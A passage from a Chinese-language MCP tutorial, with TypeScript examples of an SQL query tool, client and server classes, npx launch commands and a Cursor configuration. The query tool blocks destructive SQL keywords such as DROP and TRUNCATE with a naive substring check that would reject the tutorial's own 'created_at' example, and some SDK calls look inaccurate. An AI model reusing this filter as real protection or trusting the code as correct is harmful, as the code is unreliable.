return { ...request, _cached: cached };
}
}
return request;
},
onResponse: async (response, context) => {
if (response.result && config.isCacheable(response.result)) {
await config.store.set(buildCacheKey(context.request!), response.result);
}
return response;
},
}),
};
/**
* Skill包定义文件
*/
interface PackageManifest {
format: 'mcp-skill';
versions: {
[version: string]: {
/** 依赖的MCP SDK版本 */
requires: string;
/** Skill定义 */
skill: Skill;
/** 入口脚本 */
entry: string;
/** 资源文件 */
assets?: string[];
};
};
}
```
### 1.7 MCP工具定义完整代码示例
本节提供一个完整的MCP工具定义示例,涵盖所有核心数据结构。
```typescript
/**
* MCP协议工具定义完整示例
*
* 本示例展示如何定义一个功能完整的数据库查询工具
* 包括工具元数据、输入验证、错误处理和结果格式化
*/
import { z } from 'zod';
/**
* 第一步:定义工具的输入参数Schema
* 使用Zod进行类型安全的参数定义
*/
// 数据库查询工具输入参数定义
const QueryDatabaseInput = z.object({
/**
* SQL查询语句
* 必须是SELECT语句,禁止其他SQL操作
*/
query: z.string()
.min(1, '查询语句不能为空')
.max(5000, '查询语句过长')
.describe('要执行的SQL查询语句(必须是SELECT)'),
/**
* 查询参数(用于预处理语句)
*/
params: z.array(
z.union([
z.string(),
z.number(),
z.boolean(),
z.null(),
])
)
.optional()
.describe('查询参数,用于预处理语句'),
/**
* 最大返回行数
*/
maxRows: z.number()
.min(1)
.max(10000)
.default(1000)
.describe('最大返回行数'),
/**
* 查询超时时间(毫秒)
*/
timeout: z.number()
.min(1000)
.max(60000)
.default(30000)
.describe('查询超时时间(毫秒)'),
/**
* 是否启用详细日志
*/
verbose: z.boolean()
.default(false)
.describe('是否输出详细查询日志'),
});
/**
* 第二步:定义工具元数据
* 提供AI理解工具所需的所有信息
*/
// 工具元数据
const queryDatabaseToolMeta = {
/** 工具唯一标识符 */
name: 'query_database',
/** 人类可读的描述
* AI会使用此描述理解工具用途
* 建议包含:功能说明、参数解释、使用示例
*/
description: `执行SQL查询并返回结果。
支持的功能:
- SELECT查询
- 聚合函数(COUNT, SUM, AVG等)
- JOIN操作
- 子查询
- LIMIT和OFFSET分页
安全限制:
- 仅支持SELECT语句,其他SQL操作将被拒绝
- 所有用户输入都将经过预处理转义
- 大表查询自动限制返回行数
参数说明:
- query: SQL查询语句(必需)
- params: 查询参数,用于预处理语句(可选)
- maxRows: 最大返回行数,默认1000(可选)
- timeout: 查询超时时间,默认30秒(可选)
返回格式:
- success: 是否成功
- rows: 结果行数组
- rowCount: 返回行数
- executionTime: 执行耗时(毫秒)`,
/** 输入参数JSON Schema(由Zod自动生成)*/
inputSchema: {} as z.infer<typeof QueryDatabaseInput>,
/** 工具分类和标签 */
metadata: {
category: 'database',
tags: ['sql', 'query', 'database', 'postgresql', 'mysql'],
stability: 'stable' as const,
examples: [
{
description: '查询所有用户',
input: {
query: 'SELECT id, name, email FROM users LIMIT 10',
},
},
{
description: '带参数的预处理查询',
input: {
query: 'SELECT * FROM orders WHERE user_id = $1 AND status = $2',
params: [123, 'pending'],
},
},
{
description: '聚合查询',
input: {
query: 'SELECT COUNT(*) as total, SUM(amount) as revenue FROM orders WHERE created_at > $1',
params: ['2024-01-01'],
},
},
],
},
};
/**
* 第三步:定义工具处理器
* 实现具体的业务逻辑
*/
// 类型别名
type QueryDatabaseParams = z.infer<typeof QueryDatabaseInput>;
/**
* 数据库查询结果类型
*/
interface QueryDatabaseResult {
success: boolean;
rows: Record<string, unknown>[];
rowCount: number;
executionTime: number;
columns: string[];
}
/**
* 工具处理器
*/
async function queryDatabaseHandler(
params: QueryDatabaseParams
): Promise<QueryDatabaseResult> {
const startTime = Date.now();
// 参数验证
const validated = QueryDatabaseInput.parse(params);
// 安全检查:必须是SELECT语句
const normalizedQuery = validated.query.trim().toUpperCase();
if (!normalizedQuery.startsWith('SELECT')) {
throw new Error('安全错误:仅支持SELECT查询语句');
}
// 禁止危险SQL关键字
const dangerousKeywords = [
'DROP', 'DELETE', 'UPDATE', 'INSERT', 'ALTER',
'TRUNCATE', 'CREATE', 'GRANT', 'REVOKE',
];
for (const keyword of dangerousKeywords) {
if (normalizedQuery.includes(keyword)) {
throw new Error(`安全错误:查询中包含禁止的关键字 ${keyword}`);
}
}
// 执行查询(实际实现中会连接真实数据库)
const result = await executeQuery({
sql: validated.query,
params: validated.params,
maxRows: validated.maxRows,
timeout: validated.timeout,
verbose: validated.verbose,
});
return {
success: true,
rows: result.rows,
rowCount: result.rows.length,
executionTime: Date.now() - startTime,
columns: result.columns,
};
}
/**
* 执行查询(模拟实现)
*/
async function executeQuery(config: {
sql: string;
params?: unknown[];
maxRows: number;
timeout: number;
verbose: boolean;
}): Promise<{ rows: Record<string, unknown>[]; columns: string[] }> {
// 模拟查询执行
if (config.verbose) {
console.log('执行查询:', config.sql);
console.log('参数:', config.params);
}
// 返回模拟结果
return {
rows: [
{ id: 1, name: 'Alice', email: '[email protected]' },
{ id: 2, name: 'Bob', email: '[email protected]' },
],
columns: ['id', 'name', 'email'],
};
}
/**
* 第四步:完整的工具定义
* 组合元数据和处理函数
*/
const queryDatabaseTool = {
...queryDatabaseToolMeta,
inputSchema: QueryDatabaseInput,
/**
* 执行工具
* MCP协议会自动调用此函数
*/
execute: queryDatabaseHandler,
/**
* 结果格式化
* 将执行结果转换为MCP兼容的格式
*/
formatResult: (result: QueryDatabaseResult) => ({
content: [
{
type: 'table' as const,
rows: result.rows,
columns: result.columns,
},
{
type: 'text' as const,
text: `查询成功:返回 ${result.rowCount} 行,执行耗时 ${result.executionTime}ms`,
},
],
}),
/**
* 错误格式化
* 将错误转换为MCP兼容的格式
*/
formatError: (error: Error) => ({
content: [
{
type: 'text' as const,
text: `查询失败:${error.message}`,
},
],
isError: true,
}),
};
/**
* 使用示例:注册到MCP Server
*/
function registerQueryDatabaseTool(server: McpServer) {
server.setRequestHandler(
{ method: 'tools/list' },
async () => ({
tools: [
{
name: queryDatabaseTool.name,
description: queryDatabaseTool.description,
inputSchema: queryDatabaseTool.inputSchema,
},
],
})
);
server.setRequestHandler(
{ method: 'tools/call' },
async (request) => {
if (request.params.name !== queryDatabaseTool.name) {
throw new Error(`未知工具: ${request.params.name}`);
}
try {
const result = await queryDatabaseTool.execute(request.params.arguments);
return queryDatabaseTool.formatResult(result);
} catch (error) {
return queryDatabaseTool.formatError(error as Error);
}
}
);
}
export {
QueryDatabaseInput,
queryDatabaseTool,
registerQueryDatabaseTool,
type QueryDatabaseResult,
};
```
---
## 二、核心架构详解
### 2.1 三层架构概述
MCP采用经典的**Host-Client-Server三层架构**,这种设计借鉴了现代分布式系统的最佳实践:
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 三层架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────┐ │
│ │ Host(宿主应用) │ │
│ │ │ │
│ │ • Claude Desktop │ │
│ │ • VS Code (Cline) │ │
│ │ • Cursor IDE │ │
│ │ • Continue插件 │ │
│ │ • 自定义应用 │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 用户界面管理 │ │
│ │ - 会话状态管理 │ │
│ │ - 权限授权控制 │ │
│ │ - 结果呈现渲染 │ │
│ └──────────┬──────────┘ │
│ │ │
│ MCP协议通信 │ (JSON-RPC 2.0 / HTTP/SSE) │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP Client(客户端层) │ │
│ │ │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │ Client │ │ Client │ │ Client │ │ Client │ │ │
│ │ │ (FS) │ │ (GitHub)│ │ (Search)│ │ (Custom)│ │ │
│ │ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │ │
│ │ │ │ │ │ │ │
│ │ └─────────────┴─────────────┴─────────────┘ │ │
│ │ │ │ │
│ │ 职责: │ │
│ │ - 与各Server建立和管理连接 │ │
│ │ - 工具发现和元数据管理 │ │
│ │ - 请求路由和负载均衡 │ │
│ │ - 连接池和会话管理 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ 协议通信(stdio/HTTP/WebSocket) │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP Server(工具服务器层) │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Filesystem │ │ GitHub │ │ Search │ │ │
│ │ │ Server │ │ Server │ │ Server │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ read_file │ │ search_code │ │ jina_search│ │ │
│ │ │ write_file │ │ get_pr │ │ fetch_url │ │ │
│ │ │ list_dir │ │ create_issue│ │ summarize │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 实现具体业务逻辑 │ │
│ │ - 工具注册和元数据暴露 │ │
│ │ - 资源管理与订阅 │ │
│ │ - 权限验证和安全检查 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 外部资源层 │ │
│ │ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ │ │
│ │ │本地文件 │ │ 数据库 │ │ Web │ │ 云服务 │ │企业内部│ │ │
│ │ │ │ │ │ │ API │ │ │ │ API │ │ │
│ │ └────────┘ └────────┘ └────────┘ └────────┘ └────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
### 2.2 Host(宿主应用)详解
Host是AI能力的载体,是用户直接交互的应用层。它负责协调整个MCP通信流程。
**Host的核心职责:**
```typescript
/**
* Host 应用的核心职责接口
*/
interface MCPHost {
// ============================================
// 第一部分:用户交互管理
// ============================================
/**
* 管理用户界面和会话状态
* - 维护对话历史和上下文
* - 处理用户输入和输出渲染
* - 管理多轮对话状态
*/
manageUserSession(): UserSessionManager;
/**
* 呈现工具调用结果
* - 格式化工具返回数据
* - 渲染富文本内容
* - 处理错误展示
*/
renderToolResults(results: ToolResult[]): void;
// ============================================
// 第二部分:MCP Client协调
// ============================================
/**
* 协调多个MCP Client
* - 管理Client生命周期
* - 协调跨Client的复杂请求
* - 聚合来自不同Server的数据
*/
orchestrateClients(): ClientOrchestrator;
/**
* 处理用户授权和权限管理
* - 请求工具使用授权
* - 管理信任策略
* - 记录审计日志
*/
manageAuthorization(): AuthorizationManager;
// ============================================
// 第三部分:上下文管理
// ============================================
/**
* 管理会话上下文
* - 维护工具调用历史
* - 管理中间结果缓存
* - 优化上下文窗口使用
*/
manageContext(): ContextManager;
/**
* 与LLM通信
* - 构建包含工具描述的提示
* - 处理函数调用响应
* - 管理流式输出
*/
communicateWithLLM(): LLMCommunicator;
}
/**
* 用户会话管理
*/
interface UserSessionManager {
sessionId: string;
userProfile: UserProfile;
conversationHistory: Message[];
toolCallHistory: ToolCall[];
// 添加用户消息
addUserMessage(content: string): void;
// 添加AI响应
addAssistantMessage(content: string, toolCalls?: ToolCall[]): void;
// 获取相关上下文
getRelevantContext(query: string): ContextSnippet[];
}
/**
* 工具调用记录
*/
interface ToolCall {
id: string;
toolName: string;
arguments: Record<string, unknown>;
result: ToolResult;
timestamp: Date;
duration: number;
success: boolean;
}
```
**主流Host应用对比:**
| Host应用 | 类型 | MCP支持程度 | 适用场景 | 优势 |
|---------|------|-----------|---------|------|
| Claude Desktop | 官方桌面应用 | 完整支持 | 日常对话、轻量级任务 | 原生体验、官方维护 |
| Cursor | AI代码编辑器 | 完整支持 | 代码开发 | 上下文感知、项目级理解 |
| Cline | VS Code插件 | 完整支持 | VS Code用户 | 生态丰富、扩展性强 |
| Continue | 开源IDE插件 | 完整支持 | 自托管方案 | 开源可定制、社区活跃 |
| Windsurf | AI代码编辑器 | 完整支持 | 全栈开发 | 智能补全、代码解释 |
| Claude Code | CLI工具 | 完整支持 | 自动化脚本、CI/CD | 批处理能力强 |
### 2.3 Client(客户端)详解
Client是Host内部的轻量级组件,每个Server连接对应一个Client实例。Client负责管理与特定Server的通信。
**Client的完整实现:**
```typescript
import { Client } from '@modelcontextprotocol/sdk/client';
import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio';
import { HTTPClientTransport } from '@modelcontextprotocol/sdk/client/http';
/**
* MCP Client 配置选项
*/
interface MCPClientConfig {
/** Server名称 */
name: string;
/** Server版本 */
version: string;
/** 传输层类型 */
transport: 'stdio' | 'http' | 'websocket';
/** 服务器地址或命令 */
serverInfo: StdioServerInfo | HttpServerInfo;
/** 连接超时时间(毫秒) */
timeout?: number;
/** 重试次数 */
retries?: number;
/** 权限策略 */
permissions?: PermissionPolicy;
}
/**
* 标准输入输出Server配置
*/
interface StdioServerInfo {
command: string; // 启动命令,如 'npx'
args: string[]; // 命令参数
env?: Record<string, string>; // 环境变量
}
/**
* HTTP Server配置
*/
interface HttpServerInfo {
url: string; // Server URL
headers?: Record<string, string>; // 请求头
}
/**
* MCP Client 核心类
*/
class MCPClientCore {
private client: Client;
private transport: any;
private serverInfo: any;
private connected: boolean = false;
constructor(config: MCPClientConfig) {
this.serverInfo = config;
}
/**
* 连接到MCP Server
*
* 完整流程:
* 1. 创建传输层
* 2. 建立连接
* 3. 执行协议握手
* 4. 获取Server能力
* 5. 标记为已连接
*/
async connect(): Promise<void> {
if (this.connected) {
console.log('已连接到Server');
return;
}
try {
// 步骤1:创建传输层
this.transport = this.createTransport();
// 步骤2:创建Client实例
this.client = new Client({
name: this.serverInfo.name,
version: this.serverInfo.version,
}, {
capabilities: {
// 声明客户端能力
roots: {
listChanged: true,
},
sampling: {}, // 支持采样(Server可请求LLM生成)
},
});
// 步骤3:连接传输层
await this.client.connect(this.transport);
// 步骤4:执行初始化握手
await this.initialize();
// 步骤5:获取Server能力
const capabilities = await this.getServerCapabilities();
console.log('连接成功!Server能力:', capabilities);
this.connected = true;
} catch (error) {
console.error('连接失败:', error);
throw error;
}
}
/**
* 创建传输层
*/
private createTransport() {
switch (this.serverInfo.transport) {
case 'stdio':
return new StdioClientTransport({
command: this.serverInfo.serverInfo.command,
args: this.serverInfo.serverInfo.args,
env: this.serverInfo.serverInfo.env,
});
case 'http':
return new HTTPClientTransport({
url: this.serverInfo.serverInfo.url,
headers: this.serverInfo.serverInfo.headers,
});
default:
throw new Error(`不支持的传输类型: ${this.serverInfo.transport}`);
}
}
/**
* 初始化握手
*
* 握手流程:
* 1. 发送initialize请求,包含协议版本和客户端信息
* 2. 接收Server响应,获取协议版本和Server能力
* 3. 发送initialized通知,告知Server握手完成
*/
private async initialize(): Promise<void> {
const response = await this.client.request(
{ method: 'initialize' },
{
// 协议版本(遵循语义化版本)
protocolVersion: '2024-11-05',
// 客户端能力声明
capabilities: {
roots: {
listChanged: true,
},
sampling: {},
},
// 客户端信息
clientInfo: {
name: this.serverInfo.name,
version: this.serverInfo.version,
},
}
);
console.log('Server协议版本:', response.protocolVersion);
console.log('Server能力:', response.capabilities);
// 通知Server初始化完成
await this.client.notification({
method: 'initialized',
params: {},
});
}
/**
* 获取Server能力
*/
async getServerCapabilities(): Promise<ServerCapabilities> {
const tools = await this.listTools();
const resources = await this.listResources();
const prompts = await this.listPrompts();
return {
tools: tools.map(t => t.name),
resources: resources.map(r => r.uri),
prompts: prompts.map(p => p.name),
};
}
/**
* 列出所有可用工具
*/
async listTools(): Promise<Tool[]> {
const response = await this.client.request(
{ method: 'tools/list' },
{}
);
return response.tools || [];
}
/**
* 调用指定工具
*
* 工具调用流程:
* 1. 验证参数是否符合schema
* 2. 发送tools/call请求
* 3. 处理响应(可能包含多个内容块)
* 4. 返回格式化结果
*/
async callTool(
name: string,
arguments_: Record<string, unknown>
): Promise<ToolResult> {
if (!this.connected) {
throw new Error('未连接到Server');
}
try {
const response = await this.client.request(
{ method: 'tools/call' },
{
name,
arguments: arguments_,
}
);
return {
success: true,
content: response.content,
meta: response._meta,
};
} catch (error: any) {
console.error(`工具调用失败: ${name}`, error);
return {
success: false,
content: [
{
type: 'text',
text: `错误: ${error.message}`,
},
],
isError: true,
};
}
}
/**
* 列出所有可用资源
*/
async listResources(): Promise<Resource[]> {
const response = await this.client.request(
{ method: 'resources/list' },
{}
);
return response.resources || [];
}
/**
* 读取资源内容
*/
async readResource(uri: string): Promise<ResourceContent> {
const response = await this.client.request(
{ method: 'resources/read' },
{ uri }
);
return response.contents[0];
}
/**
* 订阅资源变更
*/
async subscribeResource(uri: string): Promise<void> {
await this.client.notification({
method: 'resources/subscribe',
params: { uri },
});
}
/**
* 获取提示模板
*/
async listPrompts(): Promise<Prompt[]> {
const response = await this.client.request(
{ method: 'prompts/list' },
{}
);
return response.prompts || [];
}
/**
* 获取提示模板
*/
async getPrompt(name: string, args?: Record<string, string>): Promise<PromptMessage[]> {
const response = await this.client.request(
{ method: 'prompts/get' },
{ name, arguments: args }
);
return response.messages;
}
/**
* 断开连接
*/
async disconnect(): Promise<void> {
if (this.client) {
await this.client.close();
this.connected = false;
console.log('已断开与Server的连接');
}
}
/**
* 发送ping保持连接
*/
async ping(): Promise<boolean> {
try {
await this.client.request({ method: 'ping' }, {});
return true;
} catch {
return false;
}
}
}
/**
* 使用示例:连接到多个Server
*/
async function demoMultiServerConnection() {
// 创建多个Client
const clients = {
filesystem: new MCPClientCore({
name: 'my-filesystem-client',
version: '1.0.0',
transport: 'stdio',
serverInfo: {
command: 'npx',
args: ['-y', '@modelcontextprotocol/server-filesystem', './workspace'],
},
}),
github: new MCPClientCore({
name: 'my-github-client',
version: '1.0.0',
transport: 'stdio',
serverInfo: {
command: 'npx',
args: ['-y', '@modelcontextprotocol/server-github'],
env: {
GITHUB_TOKEN: process.env.GITHUB_TOKEN!,
},
},
}),
jina: new MCPClientCore({
name: 'my-jina-client',
version: '1.0.0',
transport: 'http',
serverInfo: {
url: 'https://mcp.jina.ai',
headers: {
'Authorization': `Bearer ${process.env.JINA_API_KEY}`,
},
},
}),
};
// 连接所有Server
console.log('正在连接所有Server...');
await Promise.all([
clients.filesystem.connect(),
clients.github.connect(),
clients.jina.connect(),
]);
console.log('所有Server连接成功!');
// 并行调用多个工具
const results = await Promise.all([
clients.filesystem.callTool('read_file', { path: 'README.md' }),
clients.github.callTool('search_code', { q: 'MCP protocol' }),
clients.jina.callTool('jina_reader', { url: 'https://example.com' }),
]);
// 处理结果
results.forEach((result, index) => {
console.log(`结果 ${index + 1}:`, result.success ? '成功' : '失败');
});
// 断开连接
await Promise.all([
clients.filesystem.disconnect(),
clients.github.disconnect(),
clients.jina.disconnect(),
]);
}
```
### 2.4 Server(工具服务器)详解
Server是MCP架构中最核心的一层,它承载实际的业务逻辑,对外暴露工具、资源和提示模板。
**MCP Server的完整实现:**
```typescript
import {
McpServer,
StdioServerTransport,
HttpServerTransport,
} from '@modelcontextprotocol/sdk/server';
import { z } from 'zod';
/**
* MCP Server 配置
*/
interface ServerConfig {
/** Server名称 */
name: string;
/** Server版本(遵循语义化版本) */
version: string;
/** 传输层类型 */
transport: 'stdio' | 'http' | 'sse';
/** 是否启用详细日志 */
verbose?: boolean;
/** 安全配置 */
security?: SecurityConfig;
}
/**
* 安全配置
*/
interface SecurityConfig {
/** 是否启用路径遍历检查 */
preventPathTraversal?: boolean;
/** 允许的操作类型白名单 */
allowedOperations?: string[];
/** 最大文件大小(字节) */
maxFileSize?: number;
/** 操作超时时间(毫秒) */
timeout?: number;
}
/**
* 企业级MCP Server 基类
*
* 提供通用功能:
* - 工具注册和管理
* - 资源管理
* - 提示模板
* - 安全检查
* - 错误处理
* - 日志记录
*/
abstract class BaseMCPServer<T extends Record<string, unknown> = {}> {
protected server: McpServer;
protected config: ServerConfig;
protected logger: Logger;
constructor(config: ServerConfig) {
this.config = config;
this.server = new McpServer({
name: config.name,
version: config.version,
});
// 初始化日志
this.logger = new Logger(config.verbose || false);
// 注册核心能力
this.registerCoreCapabilities();
}
/**
* 注册核心能力
*/
private registerCoreCapabilities() {
// 注册采样处理器(允许Server请求LLM生成内容)
this.server.setRequestHandler(
{ method: 'sampling/createMessage' },
async ({ params }) => {
// 在实际实现中,这里会调用LLM
return {
model: 'claude-3-5-sonnet',
role: 'assistant',
content: [
{
type: 'text',
text: '这是采样生成的响应',
},
],
stopReason: 'endTurn',
};
}
);
// 注册根目录变更处理器
this.server.setRequestHandler(
{ method: 'roots/list' },
async () => {
return {
roots: [
{
uri: 'file:///workspace',
name: '工作目录',
},
],
};
}
);
}
/**
* 注册工具
*
* 使用Zod进行运行时验证
*/
protected registerTool<InputSchema extends z.ZodType>(
name: string,
description: string,
inputSchema: InputSchema,
handler: (input: z.infer<InputSchema>) => Promise<ToolResult>
): void {
this.server.setRequestHandler(
{ method: 'tools/list' },
async () => ({
tools: [
{
name,
description,
inputSchema: inputSchema as unknown as JSONSchema,
},
],
})
);
this.server.setRequestHandler(
{ method: 'tools/call' },
async (request) => {
if (request.params.name !== name) {
throw new Error(`未知工具: ${request.params.name}`);
}
this.logger.info(`调用工具: ${name}`, request.params.arguments);
try {
// 验证输入参数
const validatedInput = inputSchema.parse(request.params.arguments);
// 执行工具逻辑
const result = await handler(validatedInput);
this.logger.info(`工具执行成功: ${name}`);
return result;
} catch (error: any) {
this.logger.error(`工具执行失败: ${name}`, error);
return {
content: [
{
type: 'text',
text: `错误: ${error.message}`,
},
],
isError: true,
};
}
}
);
}
/**
* 注册资源
*/
protected registerResource(
uri: string,
name: string,
description: string,
mimeType: string,
handler: () => Promise<string>
): void {
this.server.setRequestHandler(
{ method: 'resources/list' },
async () => ({
resources: [
{
uri,
name,
description,
mimeType,
},
],
})
);
this.server.setRequestHandler(
{ method: 'resources/read' },
async (request) => {
if (request.params.uri !== uri) {
throw new Error(`未知资源: ${request.params.uri}`);
}
const content = await handler();
return {
contents: [
{
uri,
mimeType,
text: content,
},
],
};
}
);
}
/**
* 注册提示模板
*/
protected registerPrompt(
name: string,
description: string,
arguments_: Array<{
name: string;
description: string;
required: boolean;
}>,
handler: (args: Record<string, string>) => Promise<PromptMessage[]>
): void {
this.server.setRequestHandler(
{ method: 'prompts/list' },
async () => ({
prompts: [
{
name,
description,
arguments: arguments_,
},
],
})
);
this.server.setRequestHandler(
{ method: 'prompts/get' },
async (request) => {
if (request.params.name !== name) {
throw new Error(`未知提示: ${request.params.name}`);
}
const messages = await handler(request.params.arguments || {});
return { messages };
}
);
}
/**
* 启动Server
*/
async start(): Promise<void> {
let transport;
switch (this.config.transport) {
case 'stdio':
transport = new StdioServerTransport();
break;
case 'http':
transport = new HttpServerTransport({
port: 3000,
});
break;
default:
throw new Error(`不支持的传输类型: ${this.config.transport}`);
}
this.logger.info(`启动 ${this.config.name} v${this.config.version}`);
await this.server.connect(transport);
this.logger.info('Server已启动,等待连接...');
}
}
/**
* 日志类
*/
class Logger {
constructor(private verbose: boolean) {}
info(message: string, ...args: unknown[]) {
console.log(`[INFO] ${message}`, ...args);
}
warn(message: string, ...args: unknown[]) {
console.warn(`[WARN] ${message}`, ...args);
}
error(message: string, ...args: unknown[]) {
console.error(`[ERROR] ${message}`, ...args);
}
debug(message: string, ...args: unknown[]) {
if (this.verbose) {
console.debug(`[DEBUG] ${message}`, ...args);
}
}
}
```
### 2.5 MCP服务器创建实战
本节将详细介绍如何从零开始创建、配置和部署一个MCP服务器,涵盖从简单的本地Server到集成GitHub API的高级Server。
#### 2.5.1 创建GitHub MCP服务器
GitHub MCP服务器是最常用的官方Server之一,它允许AI直接与GitHub交互,执行仓库管理、Issue创建、PR操作等任务。
**前置条件:**
- Node.js 18+ 环境
- GitHub Personal Access Token (PAT)
- npm 或 yarn 包管理器
**创建步骤:**
```bash
# 第一步:创建项目目录
mkdir github-mcp-server
cd github-mcp-server
# 第二步:初始化项目
npm init -y
# 第三步:安装MCP SDK和必要依赖
npm install @modelcontextprotocol/sdk @modelcontextprotocol/server-github
# 或使用国产源加速
npm install @modelcontextprotocol/sdk @modelcontextprotocol/server-github --registry=https://registry.npmmirror.com
```
**配置MCP Server:**
```typescript
// src/index.ts - GitHub MCP服务器入口文件
import { McpServer } from '@modelcontextprotocol/sdk/server';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio';
import { Server } from '@modelcontextprotocol/server-github';
/**
* GitHub MCP Server 配置
*
* 该Server提供以下核心功能:
* 1. 仓库管理 - 创建、查看、搜索仓库
* 2. Issue管理 - 创建、编辑、关闭Issue
* 3. PR操作 - 创建PR、审查、合并
* 4. 代码搜索 - 在仓库中搜索代码
* 5. 文件操作 - 读取仓库文件和目录
*/
async function main() {
// 验证环境变量
const token = process.env.GITHUB_TOKEN;
if (!token) {
console.error('错误:未设置GITHUB_TOKEN环境变量');
console.error('请运行:export GITHUB_TOKEN=your_token_here');
process.exit(1);
}
// 创建MCP Server实例
const server = new McpServer({
name: 'github-mcp-server',
version: '1.0.0',
});
// 使用官方GitHub Server实现
const githubServer = new Server({
token,
});
// 连接stdio传输层
const transport = new StdioServerTransport();
// 启动服务
await server.connect(transport);
console.log('GitHub MCP Server已启动');
console.log('可用的工具:');
console.log(' - search_code: 搜索代码');
console.log(' - get_repository: 获取仓库信息');
console.log(' - create_issue: 创建Issue');
console.log(' - create_pull_request: 创建PR');
console.log(' - list_commits: 列出提交记录');
}
main().catch(console.error);
```
**添加package.json脚本:**
```json
{
"name": "github-mcp-server",
"version": "1.0.0",
"type": "module",
"main": "dist/index.js",
"scripts": {
"build": "tsc",
"start": "node dist/index.js",
"dev": "tsx src/index.ts"
},
"dependencies": {
"@modelcontextprotocol/sdk": "^1.0.0",
"@modelcontextprotocol/server-github": "^1.0.0"
},
"devDependencies": {
"tsx": "^4.7.0",
"typescript": "^5.4.0"
}
}
```
#### 2.5.2 npx方式运行MCP
npx是运行MCP Server最简单的方式,无需手动安装和配置项目。
**基础用法:**
```bash
# 运行官方filesystem server
npx -y @modelcontextprotocol/server-filesystem ./my-projects
# 运行官方GitHub server
npx -y @modelcontextprotocol/server-github
# 运行官方Slack server
npx -y @modelcontextprotocol/server-slack
# 运行官方Sentry server
npx -y @modelcontextprotocol/server-sentry
```
**带参数运行:**
```bash
# filesystem server - 指定多个目录
npx -y @modelcontextprotocol/server-filesystem \
/home/user/projects \
/home/user/documents \
/home/user/downloads
# GitHub server - 设置API前缀(用于企业GitHub)
npx -y @modelcontextprotocol/server-github \
--github-api-url https://github.mycompany.com/api/v3
# PostgreSQL server - 指定连接参数
npx -y @modelcontextprotocol/server-postgres \
--host localhost \
--port 5432 \
--database myapp
```
**npx工作原理:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ npx 运行MCP流程 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 用户执行命令 │
│ ┌─────────────────────────────────────────┐ │
│ │ npx -y @modelcontextprotocol/server-xxx │ │
│ └──────────────────┬────────────────────┘ │
│ │ │
│ ▼ │
│ npx检查本地缓存 │
│ ┌─────────────────────────────────────────┐ │
│ │ 1. 检查 ~/.npm/_npx 是否有缓存包 │ │
│ │ 2. 检查 package.json 是否声明依赖 │ │
│ │ 3. 如果没有,发起npm下载 │ │
│ └──────────────────┬────────────────────┘ │
│ │ │
│ ▼ │
│ 下载并解压包(-y 跳过确认) │
│ ┌─────────────────────────────────────────┐ │
│ │ npm pack @modelcontextprotocol/server-xxx │
│ │ tar -xf package.tgz │ │
│ └──────────────────┬────────────────────┘ │
│ │ │
│ ▼ │
│ 执行Server主文件 │
│ ┌─────────────────────────────────────────┐ │
│ │ node package/dist/index.js │ │
│ │ 或执行npm注册的bin命令 │ │
│ └──────────────────┬────────────────────┘ │
│ │ │
│ ▼ │
│ Server启动,通过stdio通信 │
│ ┌─────────────────────────────────────────┐ │
│ │ stdin: 接收JSON-RPC请求 │ │
│ │ stdout: 发送JSON-RPC响应 │ │
│ └─────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
**创建可复用的MCP启动脚本:**
```bash
#!/bin/bash
# scripts/start-mcp-servers.sh - MCP服务器启动脚本
# 定义颜色输出
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
echo -e "${YELLOW}启动MCP服务器...${NC}\n"
# 检查必需的环境变量
if [ -z "$GITHUB_TOKEN" ]; then
echo -e "${RED}错误:GITHUB_TOKEN 未设置${NC}"
echo "请运行:export GITHUB_TOKEN=your_token"
exit 1
fi
# 定义服务器配置
declare -A SERVERS=(
["filesystem"]="@modelcontextprotocol/server-filesystem ./workspace"
["github"]="@modelcontextprotocol/server-github"
["sqlite"]="@modelcontextprotocol/server-sqlite ./data/app.db"
)
# 启动每个服务器
for name in "${!SERVERS[@]}"; do
echo -e "${GREEN}启动 ${name}...${NC}"
npx -y ${SERVERS[$name]} &
done
echo -e "\n${GREEN}所有MCP服务器已启动!${NC}"
echo "使用 Ctrl+C 停止所有服务器"
# 等待所有后台进程
wait
```
#### 2.5.3 在Cursor中配置MCP
Cursor是目前最流行的AI代码编辑器之一,深度集成了MCP协议。以下是在Cursor中配置MCP的完整指南。
**配置方法一:Cursor设置界面**
```
步骤:
1. 打开Cursor设置(Cmd/Ctrl + ,)
2. 导航到 MCP 标签页
3. 点击"添加新的MCP服务器"
4. 填写服务器配置
5. 保存并验证连接
```
**配置方法二:Cursor配置文件**
```json
// ~/.cursor/mcp.json - Cursor MCP全局配置
{
"mcpServers": {
// ============================================
// 官方MCP Servers
// ============================================
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/workspace"
],
"env": {}
},
"github": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-github"
],
"env": {
"GITHUB_TOKEN": "your-github-token-here"
}
},
// ============================================
// 社区MCP Servers
// ============================================
"jina-search": {
"command": "npx",
